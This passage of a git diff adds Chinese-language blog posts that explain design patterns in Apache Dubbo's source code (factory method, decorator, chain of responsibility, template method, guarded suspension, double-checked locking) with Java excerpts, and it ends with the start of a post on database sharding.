java.util.logging.Level.SEVERE; + } + // if (level == Level.OFF) + return java.util.logging.Level.OFF; + } + + private static Level fromJdkLevel(java.util.logging.Level level) { + if (level == java.util.logging.Level.ALL) { + return Level.ALL; + } + if (level == java.util.logging.Level.FINER) { + return Level.TRACE; + } + if (level == java.util.logging.Level.FINE) { + return Level.DEBUG; + } + if (level == java.util.logging.Level.INFO) { + return Level.INFO; + } + if (level == java.util.logging.Level.WARNING) { + return Level.WARN; + } + if (level == java.util.logging.Level.SEVERE) { + return Level.ERROR; + } + // if (level == java.util.logging.Level.OFF) + return Level.OFF; + } + + @Override + public Logger getLogger(Class key) { + return new JdkLogger(java.util.logging.Logger.getLogger(key == null ? "" : key.getName())); + } + + @Override + public Logger getLogger(String key) { + return new JdkLogger(java.util.logging.Logger.getLogger(key)); + } + + @Override + public Level getLevel() { + return fromJdkLevel(java.util.logging.Logger.getLogger(GLOBAL_LOGGER_NAME).getLevel()); + } + + @Override + public void setLevel(Level level) { + java.util.logging.Logger.getLogger(GLOBAL_LOGGER_NAME).setLevel(toJdkLevel(level)); + } + + @Override + public File getFile() { + return file; + } + + @Override + public void setFile(File file) { + + } + +} +``` + +```java + +public class Slf4jLoggerAdapter implements LoggerAdapter { + + private Level level; + private File file; + + @Override + public Logger getLogger(String key) { + return new Slf4jLogger(org.slf4j.LoggerFactory.getLogger(key)); + } + + @Override + public Logger getLogger(Class key) { + return new Slf4jLogger(org.slf4j.LoggerFactory.getLogger(key)); + } + + @Override + public Level getLevel() { + return level; + } + + @Override + public void setLevel(Level level) { + this.level = level; + } + + @Override + public File getFile() { + return file; + } + + @Override + public void setFile(File file) { + this.file = file; + } + +} +``` + +```java +public class JclLoggerAdapter implements LoggerAdapter { + + private Level level; + private File file; + + @Override + public Logger getLogger(String key) { + return new JclLogger(LogFactory.getLog(key)); + } + + @Override + public Logger getLogger(Class key) { + return new JclLogger(LogFactory.getLog(key)); + } + + @Override + public Level getLevel() { + return level; + } + + @Override + public void setLevel(Level level) { + this.level = level; + } + + @Override + public File getFile() { + return file; + } + + @Override + public void setFile(File file) { + this.file = file; + } + +} +``` + +```java +public class Log4j2LoggerAdapter implements LoggerAdapter { + + private Level level; + + public Log4j2LoggerAdapter() { + + } + + private static org.apache.logging.log4j.Level toLog4j2Level(Level level) { + if (level == Level.ALL) { + return org.apache.logging.log4j.Level.ALL; + } + if (level == Level.TRACE) { + return org.apache.logging.log4j.Level.TRACE; + } + if (level == Level.DEBUG) { + return org.apache.logging.log4j.Level.DEBUG; + } + if (level == Level.INFO) { + return org.apache.logging.log4j.Level.INFO; + } + if (level == Level.WARN) { + return org.apache.logging.log4j.Level.WARN; + } + if (level == Level.ERROR) { + return org.apache.logging.log4j.Level.ERROR; + } + return org.apache.logging.log4j.Level.OFF; + } + + private static Level fromLog4j2Level(org.apache.logging.log4j.Level level) { + if (level == org.apache.logging.log4j.Level.ALL) { + return Level.ALL; + } + if (level == org.apache.logging.log4j.Level.TRACE) { + return Level.TRACE; + } + if (level == org.apache.logging.log4j.Level.DEBUG) { + return Level.DEBUG; + } + if (level == org.apache.logging.log4j.Level.INFO) { + return Level.INFO; + } + if (level == org.apache.logging.log4j.Level.WARN) { + return Level.WARN; + } + if (level == org.apache.logging.log4j.Level.ERROR) { + return Level.ERROR; + } + return Level.OFF; + } + + @Override + public Logger getLogger(Class key) { + return new Log4j2Logger(LogManager.getLogger(key)); + } + + @Override + public Logger getLogger(String key) { + return new Log4j2Logger(LogManager.getLogger(key)); + } + + @Override + public Level getLevel() { + return level; + } + + @Override + public void setLevel(Level level) { + this.level = level; + } + + @Override + public File getFile() { + return null; + } + + @Override + public void setFile(File file) { + } +} +``` + +## 3.工厂方法模式 + +#### Example1: + +Dubbo 可以对结果进行缓存,缓存的策略有很多种,一种策略对应一个缓存工厂类 + +```java +@SPI("lru") +public interface CacheFactory { + + @Adaptive("cache") + Cache getCache(URL url, Invocation invocation); + +} +``` + +```java + +@Deprecated +public abstract class AbstractCacheFactory implements CacheFactory { + + private final ConcurrentMap caches = new ConcurrentHashMap(); + + @Override + public Cache getCache(URL url, Invocation invocation) { + url = url.addParameter(METHOD_KEY, invocation.getMethodName()); + String key = url.toFullString(); + Cache cache = caches.get(key); + if (cache == null) { + caches.put(key, createCache(url)); + cache = caches.get(key); + } + return cache; + } + + protected abstract Cache createCache(URL url); + + @Override + public org.apache.dubbo.cache.Cache getCache(org.apache.dubbo.common.URL url, org.apache.dubbo.rpc.Invocation invocation) { + return getCache(new URL(url), new Invocation.CompatibleInvocation(invocation)); + } +} +``` + +```java +public class ExpiringCacheFactory extends AbstractCacheFactory { + /** + * Takes url as an method argument and return new instance of cache store implemented by JCache. + * @param url url of the method + * @return ExpiringCache instance of cache + */ + @Override + protected Cache createCache(URL url) { + return new ExpiringCache(url); + } +} +``` + +```java +public class JCacheFactory extends AbstractCacheFactory { + + /** + * Takes url as an method argument and return new instance of cache store implemented by JCache. + * @param url url of the method + * @return JCache instance of cache + */ + @Override + protected Cache createCache(URL url) { + return new JCache(url); + } + +} +``` + +```java +public class ThreadLocalCacheFactory extends AbstractCacheFactory { + + /** + * Takes url as an method argument and return new instance of cache store implemented by ThreadLocalCache. + * @param url url of the method + * @return ThreadLocalCache instance of cache + */ + @Override + protected Cache createCache(URL url) { + return new ThreadLocalCache(url); + } +} +``` + +```java +public class LruCacheFactory extends AbstractCacheFactory { + + /** + * Takes url as an method argument and return new instance of cache store implemented by LruCache. + * @param url url of the method + * @return ThreadLocalCache instance of cache + */ + @Override + protected Cache createCache(URL url) { + return new LruCache(url); + } + +} +``` + +```java +public class LfuCacheFactory extends AbstractCacheFactory { + + /** + * Takes url as an method argument and return new instance of cache store implemented by LfuCache. + * @param url url of the method + * @return ThreadLocalCache instance of cache + */ + @Override + protected Cache createCache(URL url) { + return new LfuCache(url); + } +} +``` + +#### Example2: + +> 注册中心组件的工厂方法模式 + +##### dubbo 的注册中心组件的产品体系 + +抽象产品:Registry,AbstractRegistry,FailbackRegistry 等 + +具体产品:ZookeeperRegistry,NacosRegistry,MulticastRegistry 等 + +注册中心的核心抽象产品是 Registry 接口。 + +按照一般的设计思路,复杂的系统中,接口之下是抽象类,这个组件也是一样的思路,提供了一个 AbstractRegistry 抽象类。 + +对于 dubbo 里面的注册中心,在 AbstractRegistry 抽象类之下,又增加了一层,FailbackRegistry,用于实现注册中心的注册,订阅,查询,通知等方法的重试,实现故障恢复机制。 + +它里面联合使用了模板方法和工厂方法模式。 + +##### 注册中心组件的工厂体系 + +抽象工厂:RegistryFactory,AbstractRegistryFactory + +工厂方法(模板方法):Registry getRegistry(URL url); + +具体工厂:ZookeeperRegistryFactory,NacosRegistryFactory,MulticastRegistryFactory 等 + +##### getRegistry 方法 + +AbstractRegistryFactory 的注册中心组件的抽象工厂,它里面的 getRegistry 方法,既是工厂方法模式里面的工厂方法,又是模板方法模式里面的模板方法,这个模板方法里面,调用了这个类里面的另外一个抽象方法 createRegistry(), 各个具体工厂,只需要根据自己的情况,实现各自的 createRegistry()方法,即可实现工作方法模式。 + +```java +/** + * AbstractRegistryFactory. (SPI, Singleton, ThreadSafe) + * + * @see org.apache.dubbo.registry.RegistryFactory + */ +public abstract class AbstractRegistryFactory implements RegistryFactory, ScopeModelAware { + + @Override + public Registry getRegistry(URL url) { + if (registryManager == null) { + throw new IllegalStateException("Unable to fetch RegistryManager from ApplicationModel BeanFactory. " + + "Please check if `setApplicationModel` has been override."); + } + + Registry defaultNopRegistry = registryManager.getDefaultNopRegistryIfDestroyed(); + if (null != defaultNopRegistry) { + return defaultNopRegistry; + } + + url = URLBuilder.from(url) + .setPath(RegistryService.class.getName()) + .addParameter(INTERFACE_KEY, RegistryService.class.getName()) + .removeParameter(TIMESTAMP_KEY) + .removeAttribute(EXPORT_KEY) + .removeAttribute(REFER_KEY) + .build(); + String key = createRegistryCacheKey(url); + Registry registry = null; + boolean check = url.getParameter(CHECK_KEY, true) && url.getPort() != 0; + // Lock the registry access process to ensure a single instance of the registry + registryManager.getRegistryLock().lock(); + try { + // double check + // fix https://github.com/apache/dubbo/issues/7265. + defaultNopRegistry = registryManager.getDefaultNopRegistryIfDestroyed(); + if (null != defaultNopRegistry) { + return defaultNopRegistry; + } + registry = registryManager.getRegistry(key); + if (registry != null) { + return registry; + } + //create registry by spi/ioc + registry = createRegistry(url); + if (check && registry == null) { + throw new IllegalStateException("Can not create registry " + url); + } + + if (registry != null) { + registryManager.putRegistry(key, registry); + } + } catch (Exception e) { + if (check) { + throw new RuntimeException("Can not create registry " + url, e); + } else { + LOGGER.warn("Failed to obtain or create registry ", e); + } + } finally { + // Release the lock + registryManager.getRegistryLock().unlock(); + } + + return registry; + } + + + protected abstract Registry createRegistry(URL url); + +} +``` + +总结:dubbo 框架里面的注册中心组件,它里面实现了一个非常典型的工厂方法模式,配合模板方法模式,实现了注册中心的扩展。当需要扩展新的注册中心时,只需要增加一个新的具体工厂类,继承抽象产品 AbstractRegistryFactory,实现它里面的 createRegistry()即可。是联合工厂方法模式和模板方法模式。 + +## 4.装饰者 + +Dubbo 中网络传输层用到了 Netty,当我们用 Netty 开发时,一般都是写多个 ChannelHandler,然后将这些 ChannelHandler 添加到 ChannelPipeline 上,就是典型的责任链模式 + +#### Example1: + +但是 Dubbo 考虑到有可能替换网络框架组件,所以整个请求发送和请求接收的过程全部用的都是装饰者模式。即只有 NettyServerHandler 实现的接口是 Netty 中的 ChannelHandler,剩下的接口实现的是 Dubbo 中的 ChannelHandler + +如下是服务端消息接收会经过的 ChannelHandler + +```java +/** + * NettyServerHandler. + */ +@io.netty.channel.ChannelHandler.Sharable +public class NettyServerHandler extends ChannelDuplexHandler { + private static final Logger logger = LoggerFactory.getLogger(NettyServerHandler.class); + /** + * the cache for alive worker channel. + * + */ + private final Map channels = new ConcurrentHashMap<>(); + + private final URL url; + + private final ChannelHandler handler; + + public NettyServerHandler(URL url, ChannelHandler handler) { + if (url == null) { + throw new IllegalArgumentException("url == null"); + } + if (handler == null) { + throw new IllegalArgumentException("handler == null"); + } + this.url = url; + this.handler = handler; + } + + public Map getChannels() { + return channels; + } + + @Override + public void channelActive(ChannelHandlerContext ctx) throws Exception { + NettyChannel channel = NettyChannel.getOrAddChannel(ctx.channel(), url, handler); + if (channel != null) { + channels.put(NetUtils.toAddressString((InetSocketAddress) ctx.channel().remoteAddress()), channel); + } + handler.connected(channel); + + if (logger.isInfoEnabled()) { + logger.info("The connection of " + channel.getRemoteAddress() + " -> " + channel.getLocalAddress() + " is established."); + } + } + + @Override + public void channelInactive(ChannelHandlerContext ctx) throws Exception { + NettyChannel channel = NettyChannel.getOrAddChannel(ctx.channel(), url, handler); + try { + channels.remove(NetUtils.toAddressString((InetSocketAddress) ctx.channel().remoteAddress())); + handler.disconnected(channel); + } finally { + NettyChannel.removeChannel(ctx.channel()); + } + + if (logger.isInfoEnabled()) { + logger.info("The connection of " + channel.getRemoteAddress() + " -> " + channel.getLocalAddress() + " is disconnected."); + } + } + + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + NettyChannel channel = NettyChannel.getOrAddChannel(ctx.channel(), url, handler); + handler.received(channel, msg); + // trigger qos handler + ctx.fireChannelRead(msg); + } + + + @Override + public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception { + super.write(ctx, msg, promise); + NettyChannel channel = NettyChannel.getOrAddChannel(ctx.channel(), url, handler); + handler.sent(channel, msg); + } + + @Override + public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception { + // server will close channel when server don't receive any heartbeat from client util timeout. + if (evt instanceof IdleStateEvent) { + NettyChannel channel = NettyChannel.getOrAddChannel(ctx.channel(), url, handler); + try { + logger.info("IdleStateEvent triggered, close channel " + channel); + channel.close(); + } finally { + NettyChannel.removeChannelIfDisconnected(ctx.channel()); + } + } + super.userEventTriggered(ctx, evt); + } + + @Override + public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) + throws Exception { + NettyChannel channel = NettyChannel.getOrAddChannel(ctx.channel(), url, handler); + try { + handler.caught(channel, cause); + } finally { + NettyChannel.removeChannelIfDisconnected(ctx.channel()); + } + } + +} +``` + +```java +public interface ChannelHandler { + + void handlerAdded(ChannelHandlerContext ctx) throws Exception; + + void handlerRemoved(ChannelHandlerContext ctx) throws Exception; + + void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception; + + @Inherited + @Documented + @Target(ElementType.TYPE) + @Retention(RetentionPolicy.RUNTIME) + @interface Sharable { + + } + +} + +``` + +#### Example2: + +```java +@SPI(value = "dubbo", scope = ExtensionScope.FRAMEWORK) +public interface Protocol { + /** + * Get default port when user doesn't config the port. + * + * @return default port + */ + int getDefaultPort(); + + @Adaptive + Exporter export(Invoker invoker) throws RpcException; + + @Adaptive + Invoker refer(Class type, URL url) throws RpcException; + + void destroy(); + + default List getServers() { + return Collections.emptyList(); + } +} +``` + +ProtocolFilterWrapper 类是对 Protocol 类的修饰。DUBBO 是通过 SPI 机制实现装饰器模式,我们以 Protocol 接口进行分析,首先分析装饰器类,抽象装饰器核心要点是实现了 Component 并且组合一个 Component 对象。 + +```java + +/** + * ListenerProtocol + */ +@Activate(order = 100) +public class ProtocolFilterWrapper implements Protocol { + + private final Protocol protocol; + + public ProtocolFilterWrapper(Protocol protocol) { + if (protocol == null) { + throw new IllegalArgumentException("protocol == null"); + } + this.protocol = protocol; + } + + @Override + public int getDefaultPort() { + return protocol.getDefaultPort(); + } + + @Override + public Exporter export(Invoker invoker) throws RpcException { + if (UrlUtils.isRegistry(invoker.getUrl())) { + return protocol.export(invoker); + } + FilterChainBuilder builder = getFilterChainBuilder(invoker.getUrl()); + return protocol.export(builder.buildInvokerChain(invoker, SERVICE_FILTER_KEY, CommonConstants.PROVIDER)); + } + + private FilterChainBuilder getFilterChainBuilder(URL url) { + return ScopeModelUtil.getExtensionLoader(FilterChainBuilder.class, url.getScopeModel()).getDefaultExtension(); + } + + @Override + public Invoker refer(Class type, URL url) throws RpcException { + if (UrlUtils.isRegistry(url)) { + return protocol.refer(type, url); + } + FilterChainBuilder builder = getFilterChainBuilder(url); + return builder.buildInvokerChain(protocol.refer(type, url), REFERENCE_FILTER_KEY, CommonConstants.CONSUMER); + } + + @Override + public void destroy() { + protocol.destroy(); + } + + @Override + public List getServers() { + return protocol.getServers(); + } + +} +``` + +在配置文件中配置装饰器 + +```java +filter=org.apache.dubbo.rpc.protocol.ProtocolFilterWrapper +listener=org.apache.dubbo.rpc.protocol.ProtocolListenerWrapper +``` + +通过 SPI 机制加载扩展点时会使用装饰器装饰具体构件: + +```java +public class ReferenceConfig extends AbstractReferenceConfig { + + private static final Protocol refprotocol = ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension(); + + private T createProxy(Map map) { + if (isJvmRefer) { + URL url = new URL(Constants.LOCAL_PROTOCOL, Constants.LOCALHOST_VALUE, 0, interfaceClass.getName()).addParameters(map); + invoker = refprotocol.refer(interfaceClass, url); + if (logger.isInfoEnabled()) { + logger.info("Using injvm service " + interfaceClass.getName()); + } + } + } +} +``` + +最终生成 refprotocol 为如下对象: + +```java +ProtocolFilterWrapper(ProtocolListenerWrapper(InjvmProtocol)) +``` + +## 5.责任链模式 + +#### Dubbo 的调用链 + +#### Example1: + +代理对象(Client Stub 或者 Server Stub)在执行的过程中会执行所有 Filter 的 invoke 方法,但是这个实现方法是对对象不断进行包装,看起来非常像装饰者模式,但是基于方法名和这个 Filter 的功能,我更觉得这个是责任链模式 + +```java +private static Invoker buildInvokerChain(final Invoker invoker, String key, String group) { + Invoker last = invoker; + // 获取自动激活的扩展类 + List filters = ExtensionLoader.getExtensionLoader(Filter.class).getActivateExtension(invoker.getUrl(), key, group); + if (!filters.isEmpty()) { + for (int i = filters.size() - 1; i >= 0; i--) { + final Filter filter = filters.get(i); + final Invoker next = last; + last = new Invoker() { + + // 省略部分代码 + + @Override + public Result invoke(Invocation invocation) throws RpcException { + // filter 不断的套在 Invoker 上,调用invoke方法的时候就会执行filter的invoke方法 + Result result = filter.invoke(next, invocation); + if (result instanceof AsyncRpcResult) { + AsyncRpcResult asyncResult = (AsyncRpcResult) result; + asyncResult.thenApplyWithContext(r -> filter.onResponse(r, invoker, invocation)); + return asyncResult; + } else { + return filter.onResponse(result, invoker, invocation); + } + } + + }; + } + } + return last; +} +``` + +#### Example2: + +生产者和消费者最终执行对象都是过滤器链路最后一个节点,整个链路包含多个过滤器进行业务处理。 + +```text +生产者过滤器链路 +EchoFilter > ClassloaderFilter > GenericFilter > ContextFilter > TraceFilter > TimeoutFilter > MonitorFilter > ExceptionFilter > AbstractProxyInvoker + +消费者过滤器链路 +ConsumerContextFilter > FutureFilter > MonitorFilter > DubboInvoker +``` + +ProtocolFilterWrapper 作为链路生成核心通过匿名类方式构建过滤器链路,我们以消费者构建过滤器链路为例: + +```java +public class ProtocolFilterWrapper implements Protocol { + private static Invoker buildInvokerChain(final Invoker invoker, String key, String group) { + + // invoker = DubboInvoker + Invoker last = invoker; + + // 查询符合条件过滤器列表 + List filters = ExtensionLoader.getExtensionLoader(Filter.class).getActivateExtension(invoker.getUrl(), key, group); + if (!filters.isEmpty()) { + for (int i = filters.size() - 1; i >= 0; i--) { + final Filter filter = filters.get(i); + final Invoker next = last; + + // 构造一个简化Invoker + last = new Invoker() { + @Override + public Class getInterface() { + return invoker.getInterface(); + } + + @Override + public URL getUrl() { + return invoker.getUrl(); + } + + @Override + public boolean isAvailable() { + return invoker.isAvailable(); + } + + @Override + public Result invoke(Invocation invocation) throws RpcException { + // 构造过滤器链路 + Result result = filter.invoke(next, invocation); + if (result instanceof AsyncRpcResult) { + AsyncRpcResult asyncResult = (AsyncRpcResult) result; + asyncResult.thenApplyWithContext(r -> filter.onResponse(r, invoker, invocation)); + return asyncResult; + } else { + return filter.onResponse(result, invoker, invocation); + } + } + + @Override + public void destroy() { + invoker.destroy(); + } + + @Override + public String toString() { + return invoker.toString(); + } + }; + } + } + return last; + } + + @Override + public Invoker refer(Class type, URL url) throws RpcException { + // RegistryProtocol不构造过滤器链路 + if (Constants.REGISTRY_PROTOCOL.equals(url.getProtocol())) { + return protocol.refer(type, url); + } + Invoker invoker = protocol.refer(type, url); + return buildInvokerChain(invoker, Constants.REFERENCE_FILTER_KEY, Constants.CONSUMER); + } +} +``` + +## 6.建造者模式 + +```java + +@SPI(value = "default", scope = APPLICATION) +public interface FilterChainBuilder { + /** + * build consumer/provider filter chain + */ + Invoker buildInvokerChain(final Invoker invoker, String key, String group); + + ClusterInvoker buildClusterInvokerChain(final ClusterInvoker invoker, String key, String group); + + +} +``` + +```java +@Activate +public class DefaultFilterChainBuilder implements FilterChainBuilder { + + /** + * build consumer/provider filter chain + */ + @Override + public Invoker buildInvokerChain(final Invoker originalInvoker, String key, String group) { + Invoker last = originalInvoker; + URL url = originalInvoker.getUrl(); + List moduleModels = getModuleModelsFromUrl(url); + List filters; + if (moduleModels != null && moduleModels.size() == 1) { + filters = ScopeModelUtil.getExtensionLoader(Filter.class, moduleModels.get(0)).getActivateExtension(url, key, group); + } else if (moduleModels != null && moduleModels.size() > 1) { + filters = new ArrayList<>(); + List directors = new ArrayList<>(); + for (ModuleModel moduleModel : moduleModels) { + List tempFilters = ScopeModelUtil.getExtensionLoader(Filter.class, moduleModel).getActivateExtension(url, key, group); + filters.addAll(tempFilters); + directors.add(moduleModel.getExtensionDirector()); + } + filters = sortingAndDeduplication(filters, directors); + + } else { + filters = ScopeModelUtil.getExtensionLoader(Filter.class, null).getActivateExtension(url, key, group); + } + + if (!CollectionUtils.isEmpty(filters)) { + for (int i = filters.size() - 1; i >= 0; i--) { + final Filter filter = filters.get(i); + final Invoker next = last; + last = new CopyOfFilterChainNode<>(originalInvoker, next, filter); + } + return new CallbackRegistrationInvoker<>(last, filters); + } + + return last; + } + +} +``` + +## 7.模板方法 + +模板方法模式定义一个操作中的算法骨架,一般使用抽象类定义算法骨架。抽象类同时定义一些抽象方法,这些抽象方法延迟到子类实现,这样子类不仅遵守了算法骨架约定,也实现了自己的算法。既保证了规约也兼顾灵活性。这就是用抽象构建框架,用实现扩展细节。 + +DUBBO 源码中有一个非常重要的核心概念 Invoker,我的理解是执行器或者说一个可执行对象,能够根据方法的名称、参数得到相应执行结果。 + +```java +public abstract class AbstractInvoker implements Invoker { + + @Override + public Result invoke(Invocation inv) throws RpcException { + RpcInvocation invocation = (RpcInvocation) inv; + invocation.setInvoker(this); + if (attachment != null && attachment.size() > 0) { + invocation.addAttachmentsIfAbsent(attachment); + } + Map contextAttachments = RpcContext.getContext().getAttachments(); + if (contextAttachments != null && contextAttachments.size() != 0) { + invocation.addAttachments(contextAttachments); + } + if (getUrl().getMethodParameter(invocation.getMethodName(), Constants.ASYNC_KEY, false)) { + invocation.setAttachment(Constants.ASYNC_KEY, Boolean.TRUE.toString()); + } + RpcUtils.attachInvocationIdIfAsync(getUrl(), invocation); + + try { + return doInvoke(invocation); + } catch (InvocationTargetException e) { + Throwable te = e.getTargetException(); + if (te == null) { + return new RpcResult(e); + } else { + if (te instanceof RpcException) { + ((RpcException) te).setCode(RpcException.BIZ_EXCEPTION); + } + return new RpcResult(te); + } + } catch (RpcException e) { + if (e.isBiz()) { + return new RpcResult(e); + } else { + throw e; + } + } catch (Throwable e) { + return new RpcResult(e); + } + } + + protected abstract Result doInvoke(Invocation invocation) throws Throwable; +} +``` + +AbstractInvoker 作为抽象父类定义了 invoke 方法这个方法骨架,并且定义了 doInvoke 抽象方法供子类扩展,例如子类**InjvmInvoker**、**DubboInvoker**各自实现了 doInvoke 方法。 + +InjvmInvoker 是本地引用,调用时直接从本地暴露生产者容器获取生产者 Exporter 对象即可。 + +```java +class InjvmInvoker extends AbstractInvoker { + + @Override + public Result doInvoke(Invocation invocation) throws Throwable { + Exporter exporter = InjvmProtocol.getExporter(exporterMap, getUrl()); + if (exporter == null) { + throw new RpcException("Service [" + key + "] not found."); + } + RpcContext.getContext().setRemoteAddress(Constants.LOCALHOST_VALUE, 0); + return exporter.getInvoker().invoke(invocation); + } +} +``` + +DubboInvoker 相对复杂一些,需要考虑同步异步调用方式,配置优先级,远程通信等等。 + +```java +public class DubboInvoker extends AbstractInvoker { + + @Override + protected Result doInvoke(final Invocation invocation) throws Throwable { + RpcInvocation inv = (RpcInvocation) invocation; + final String methodName = RpcUtils.getMethodName(invocation); + inv.setAttachment(Constants.PATH_KEY, getUrl().getPath()); + inv.setAttachment(Constants.VERSION_KEY, version); + ExchangeClient currentClient; + if (clients.length == 1) { + currentClient = clients[0]; + } else { + currentClient = clients[index.getAndIncrement() % clients.length]; + } + try { + boolean isAsync = RpcUtils.isAsync(getUrl(), invocation); + boolean isAsyncFuture = RpcUtils.isReturnTypeFuture(inv); + boolean isOneway = RpcUtils.isOneway(getUrl(), invocation); + + // 超时时间方法级别配置优先级最高 + int timeout = getUrl().getMethodParameter(methodName, Constants.TIMEOUT_KEY, Constants.DEFAULT_TIMEOUT); + if (isOneway) { + boolean isSent = getUrl().getMethodParameter(methodName, Constants.SENT_KEY, false); + currentClient.send(inv, isSent); + RpcContext.getContext().setFuture(null); + return new RpcResult(); + } else if (isAsync) { + ResponseFuture future = currentClient.request(inv, timeout); + FutureAdapter futureAdapter = new FutureAdapter<>(future); + RpcContext.getContext().setFuture(futureAdapter); + Result result; + if (isAsyncFuture) { + result = new AsyncRpcResult(futureAdapter, futureAdapter.getResultFuture(), false); + } else { + result = new SimpleAsyncRpcResult(futureAdapter, futureAdapter.getResultFuture(), false); + } + return result; + } else { + RpcContext.getContext().setFuture(null); + return (Result) currentClient.request(inv, timeout).get(); + } + } catch (TimeoutException e) { + throw new RpcException(RpcException.TIMEOUT_EXCEPTION, "Invoke remote method timeout. method: " + invocation.getMethodName() + ", provider: " + getUrl() + ", cause: " + e.getMessage(), e); + } catch (RemotingException e) { + throw new RpcException(RpcException.NETWORK_EXCEPTION, "Failed to invoke remote method: " + invocation.getMethodName() + ", provider: " + getUrl() + ", cause: " + e.getMessage(), e); + } + } +} +``` + +## 8.保护性暂停模式 + +在多线程编程实践中我们肯定会面临线程间数据交互的问题。在处理这类问题时需要使用一些设计模式,从而保证程序的正确性和健壮性。 + +保护性暂停设计模式就是解决多线程间数据交互问题的一种模式。 + +(1) 消费者发送请求 + +顺着这一个链路跟踪代码:消费者发送请求 > 提供者接收请求并执行,并且将运行结果发送给消费者 > 消费者接收结果。 + +```java +final class HeaderExchangeChannel implements ExchangeChannel { + + @Override + public ResponseFuture request(Object request, int timeout) throws RemotingException { + if (closed) { + throw new RemotingException(this.getLocalAddress(), null, "Failed to send request " + request + ", cause: The channel " + this + " is closed!"); + } + Request req = new Request(); + req.setVersion(Version.getProtocolVersion()); + req.setTwoWay(true); + req.setData(request); + DefaultFuture future = DefaultFuture.newFuture(channel, req, timeout); + try { + channel.send(req); + } catch (RemotingException e) { + future.cancel(); + throw e; + } + return future; + } +} + +class DefaultFuture implements ResponseFuture { + + // FUTURES容器 + private static final Map FUTURES = new ConcurrentHashMap<>(); + + private DefaultFuture(Channel channel, Request request, int timeout) { + this.channel = channel; + this.request = request; + // 请求ID + this.id = request.getId(); + this.timeout = timeout > 0 ? timeout : channel.getUrl().getPositiveParameter(Constants.TIMEOUT_KEY, Constants.DEFAULT_TIMEOUT); + FUTURES.put(id, this); + CHANNELS.put(id, channel); + } +} +``` + +(2) 提供者接收请求并执行,并且将运行结果发送给消费者 + +```java +public class HeaderExchangeHandler implements ChannelHandlerDelegate { + + void handleRequest(final ExchangeChannel channel, Request req) throws RemotingException { + // response与请求ID对应 + Response res = new Response(req.getId(), req.getVersion()); + if (req.isBroken()) { + Object data = req.getData(); + String msg; + if (data == null) { + msg = null; + } else if (data instanceof Throwable) { + msg = StringUtils.toString((Throwable) data); + } else { + msg = data.toString(); + } + res.setErrorMessage("Fail to decode request due to: " + msg); + res.setStatus(Response.BAD_REQUEST); + channel.send(res); + return; + } + // message = RpcInvocation包含方法名、参数名、参数值等 + Object msg = req.getData(); + try { + + // DubboProtocol.reply执行实际业务方法 + CompletableFuture future = handler.reply(channel, msg); + + // 如果请求已经完成则发送结果 + if (future.isDone()) { + res.setStatus(Response.OK); + res.setResult(future.get()); + channel.send(res); + return; + } + } catch (Throwable e) { + res.setStatus(Response.SERVICE_ERROR); + res.setErrorMessage(StringUtils.toString(e)); + channel.send(res); + } + } +} +``` + +(3) 消费者接收结果 + +```java +class DefaultFuture implements ResponseFuture { + private final Lock lock = new ReentrantLock(); + private final Condition done = lock.newCondition(); + + public static void received(Channel channel, Response response) { + try { + // 取出对应的请求对象 + DefaultFuture future = FUTURES.remove(response.getId()); + if (future != null) { + future.doReceived(response); + } else { + logger.warn("The timeout response finally returned at " + + (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS").format(new Date())) + + ", response " + response + + (channel == null ? "" : ", channel: " + channel.getLocalAddress() + + " -> " + channel.getRemoteAddress())); + } + } finally { + CHANNELS.remove(response.getId()); + } + } + + + @Override + public Object get(int timeout) throws RemotingException { + if (timeout <= 0) { + timeout = Constants.DEFAULT_TIMEOUT; + } + if (!isDone()) { + long start = System.currentTimeMillis(); + lock.lock(); + try { + while (!isDone()) { + + // 放弃锁并使当前线程阻塞,直到发出信号中断它或者达到超时时间 + done.await(timeout, TimeUnit.MILLISECONDS); + + // 阻塞结束后再判断是否完成 + if (isDone()) { + break; + } + + // 阻塞结束后判断是否超时 + if(System.currentTimeMillis() - start > timeout) { + break; + } + } + } catch (InterruptedException e) { + throw new RuntimeException(e); + } finally { + lock.unlock(); + } + // response对象仍然为空则抛出超时异常 + if (!isDone()) { + throw new TimeoutException(sent > 0, channel, getTimeoutMessage(false)); + } + } + return returnFromResponse(); + } + + private void doReceived(Response res) { + lock.lock(); + try { + // 接收到服务器响应赋值response + response = res; + if (done != null) { + // 唤醒get方法中处于等待的代码块 + done.signal(); + } + } finally { + lock.unlock(); + } + if (callback != null) { + invokeCallback(callback); + } + } +} +``` + +## 9.单例模式之双重检查锁模式 + +单例设计模式可以保证在整个应用某个类只能存在一个对象实例,并且这个类只提供一个取得其对象实例方法,通常这个对象创建和销毁比较消耗资源,例如数据库连接对象等等。 + +在 DUBBO 服务本地暴露时使用了双重检查锁模式判断 exporter 是否已经存在避免重复创建: + +```java +public class RegistryProtocol implements Protocol { + + private ExporterChangeableWrapper doLocalExport(final Invoker originInvoker, URL providerUrl) { + String key = getCacheKey(originInvoker); + ExporterChangeableWrapper exporter = (ExporterChangeableWrapper) bounds.get(key); + if (exporter == null) { + synchronized (bounds) { + exporter = (ExporterChangeableWrapper) bounds.get(key); + if (exporter == null) { + final Invoker invokerDelegete = new InvokerDelegate(originInvoker, providerUrl); + final Exporter strongExporter = (Exporter) protocol.export(invokerDelegete); + exporter = new ExporterChangeableWrapper(strongExporter, originInvoker); + bounds.put(key, exporter); + } + } + } + return exporter; + } +} +``` diff --git a/_posts/2022-11-22-test-markdown.md b/_posts/2022-11-22-test-markdown.md new file mode 100644 index 000000000000..54fa3b257d82 --- /dev/null +++ b/_posts/2022-11-22-test-markdown.md @@ -0,0 +1,190 @@ +--- +layout: post +title: 数据库分库分表? +subtitle: +tags: [数据库] +--- + +# 数据库分库分表? + +## 1.什么是分库分表? + +通过一定的规则,将原本数据量大的数据库拆分成多个单独的数据库,将原本数据量大的表拆分成若干个数据表,使得单一的库、表性能达到最优的效果(响应速度快),以此提升整体数据库性能。 + +## 2.为什么分库分表? + +单个数据库的存储能力是有限的、连接数是有限的,本身就会成为系统的瓶颈,单个表的数据量在百万以内,可以通过添加索引来提升性能。 